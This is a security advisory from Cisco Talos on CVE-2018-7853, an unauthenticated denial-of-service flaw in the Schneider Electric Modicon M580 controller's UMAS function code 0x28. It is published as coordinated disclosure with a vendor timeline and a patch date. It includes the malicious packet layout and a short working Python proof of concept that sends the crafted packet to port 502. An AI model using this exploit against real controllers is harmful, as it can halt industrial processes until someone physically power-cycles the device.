Talos Vulnerability Report

TALOS-2019-0764

Schneider Electric Modicon M580 UMAS function code 0x28 denial-of-service vulnerability

June 10, 2019
CVE Number

CVE-2018-7853

Summary

An exploitable denial-of-service vulnerability exists in the UMAS function code 0x28 functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric's Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as "UMAS."

When a UMAS command is sent using function code 0x28, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition. This can be completed by specifying certain block numbers and providing a large value.

The known affected block numbers are 0x00 and 0x30-0x3f

The structure of a malicious function code 0x28 command takes a form similar to:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D |   E   |     F     |   
  +---+---+---+---+---+---+---+---+---+

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x28)
D --> Unknown              (0x00)
E --> Block Number         (0x0030)
F --> Unknown              (0x00ff00)

In the non-recoverable fault state the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit proof of concept

import socket

def main():
    # target definition setup
    rhost = "192.168.10.1"
    rport = 502

    # socket setup
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
    msg = "00000000000a005a002800300000ff00".decode('hex')
    s.send(msg)
    s.close()

if __name__ == '__main__':
    main()

Timeline

2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos.